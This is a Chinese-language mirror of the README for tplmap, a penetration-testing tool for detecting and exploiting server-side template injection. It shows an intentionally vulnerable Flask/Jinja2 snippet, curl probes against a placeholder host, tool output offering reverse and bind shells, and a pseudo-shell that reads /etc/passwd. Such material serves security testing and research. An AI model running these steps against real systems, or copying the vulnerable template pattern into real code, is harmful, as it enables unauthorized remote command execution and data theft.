epinna/tplmap

GitHub: epinna/tplmap

一款用于自动化检测和利用服务器端模板注入(SSTI)及代码注入漏洞,并通过沙箱逃逸获取系统权限的渗透测试工具。

Stars: 4154 | Forks: 683

# Tplmap Tplmap 辏助利用代码注入和服务器端模板注入漏洞,并通过多种沙箱逃逸技术获取对底层操作系统的访问权限。 该工具及其测试套件的开发旨在研究 SSTI 漏洞类别,并可作为 Web 应用程序渗透测试期间的攻击性安全工具使用。 沙箱逃逸技术源自 James Kett 的 [Server-Side Template Injection: RCE For The Modern Web App][10]、其他公开研究 [\[1\]][1] [\[2\]][2],以及对本工具的原创贡献 [\[3\]][3] [\[4\]][4]。 它可以利用多种代码上下文和盲注场景。它还支持在 Python、Ruby、PHP、Java 中类似于 _eval()_ 的代码注入,以及通用的非沙箱模板引擎。 ## 服务器端模板注入 假设您正在审计一个网站,该网站使用由用户提供的值组合而成的模板来生成动态页面,例如这个使用 [Jinja2][11] 模板引擎且存在不安全用法的、由 Python 和 [Flask][12] 编写的 Web 应用程序。 ``` from flask import Flask, request from jinja2 import Environment app = Flask(__name__) Jinja2 = Environment() @app.route("/page") def page(): name = request.values.get('name') # SSTI VULNERABILITY # The vulnerability is introduced concatenating the # user-provided `name` variable to the template string. output = Jinja2.from_string('Hello ' + name + '!').render() # Instead, the variable should be passed to the template context. # Jinja2.from_string('Hello {{name}}!').render(name = name) return output if __name__ == "__main__": app.run(host='0.0.0.0', port=80) ``` 从黑盒测试的角度来看,该页面反射值的方式类似于 XSS 漏洞,但也会在运行时计算基本操作,从而揭示其 SSTI 的本质。 ``` $ curl -g 'http://www.target.com/page?name=John' Hello John! $ curl -g 'http://www.target.com/page?name={{7*7}}' Hello 49! ``` ## 漏洞利用 Tplmap 能够检测并利用多种模板引擎中的 SSTI,以获取对底层文件系统和操作系统的访问权限。针对目标 URL 运行该工具,以测试参数是否存在漏洞。 ``` $ ./tplmap.py -u 'http://www.target.com/page?name=John' [+] Tplmap 0.5 Automatic Server-Side Template Injection Detection and Exploitation Tool [+] Testing if GET parameter 'name' is injectable [+] Smarty plugin is testing rendering with tag '{*}' [+] Smarty plugin is testing blind injection [+] Mako plugin is testing rendering with tag '${*}' ... [+] Jinja2 plugin is testing rendering with tag '{{*}}' [+] Jinja2 plugin has confirmed injection with tag '{{*}}' [+] Tplmap identified the following injection point: GET parameter: name Engine: Jinja2 Injection: {{*}} Context: text OS: linux Technique: render Capabilities: Shell command execution: ok Bind and reverse shell: ok File write: ok File read: ok Code evaluation: ok, python code [+] Rerun tplmap providing one of the following options: --os-shell Run shell on the target --os-cmd Execute shell commands --bind-shell PORT Connect to a shell bind to a target port --reverse-shell HOST PORT Send a shell back to the attacker's port --upload LOCAL REMOTE Upload files to the server --download REMOTE LOCAL Download remote files ``` 使用 `--os-shell` 选项在目标上启动一个伪终端。 ``` $ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John' [+] Tplmap 0.5 Automatic Server-Side Template Injection Detection and Exploitation Tool [+] Run commands on the operating system. linux $ whoami www linux $ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh ``` ## 支持的模板引擎 Tplmap 支持 15 种以上的模板引擎、非沙箱模板引擎以及通用的类似 _eval()_ 的注入。 | 引擎 | 远程命令执行 | 盲注 | 代码执行 | 文件读取 | 文件写入 | |------------------------|---------------|-------------------|-----------------|-----------|------------| | Mako | ✓ | ✓ | Python | ✓ | ✓ | | Jinja2 | ✓ | ✓ | Python | ✓ | ✓ | | Python (code eval) | ✓ | ✓ | Python | ✓ | ✓ | | Tornado | ✓ | ✓ | Python | ✓ | ✓ | | Nunjucks | ✓ | ✓ | JavaScript | ✓ | ✓ | | Pug | ✓ | ✓ | JavaScript | ✓ | ✓ | | doT | ✓ | ✓ | JavaScript | ✓ | ✓ | | Marko | ✓ | ✓ | JavaScript | ✓ | ✓ | | JavaScript (code eval) | ✓ | ✓ | JavaScript | ✓ | ✓ | | Dust (<= dustjs-helpers@1.5.0) | ✓ | ✓ | JavaScript | ✓ | ✓ | | EJS | ✓ | ✓ | JavaScript | ✓ | ✓ | | Ruby (code eval) | ✓ | ✓ | Ruby | ✓ | ✓ | | Slim | ✓ | ✓ | Ruby | ✓ | ✓ | | ERB | ✓ | ✓ | Ruby | ✓ | ✓ | | Smarty (unsecured) | ✓ | ✓ | PHP | ✓ | ✓ | | PHP (code eval) | ✓ | ✓ | PHP | ✓ | ✓ | | Twig (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ | | Freemarker | ✓ | ✓ | Java | ✓ | ✓ | | Velocity | ✓ | ✓ | Java | ✓ | ✓ | | Twig (>1.19) | × | × | × | × | × | | Smarty (secured) | × | × | × | × | × | | Dust (> dustjs-helpers@1.5.0) | × | × | × | × | × | ## Burp Suite 插件 参见 [burp_extension/README.md](burp_extension/README.md)。
标签:CISA项目, Flask, Jinja2, OpenVAS, PHP, Python, RCE, Ruby, SSTI, Tplmap, URL发现, Web安全, 安全检测, 无后门, 服务端模板注入, 沙箱逃逸, 知识库, 编程工具, 蓝队分析, 远程代码执行, 逆向工具, 黑盒测试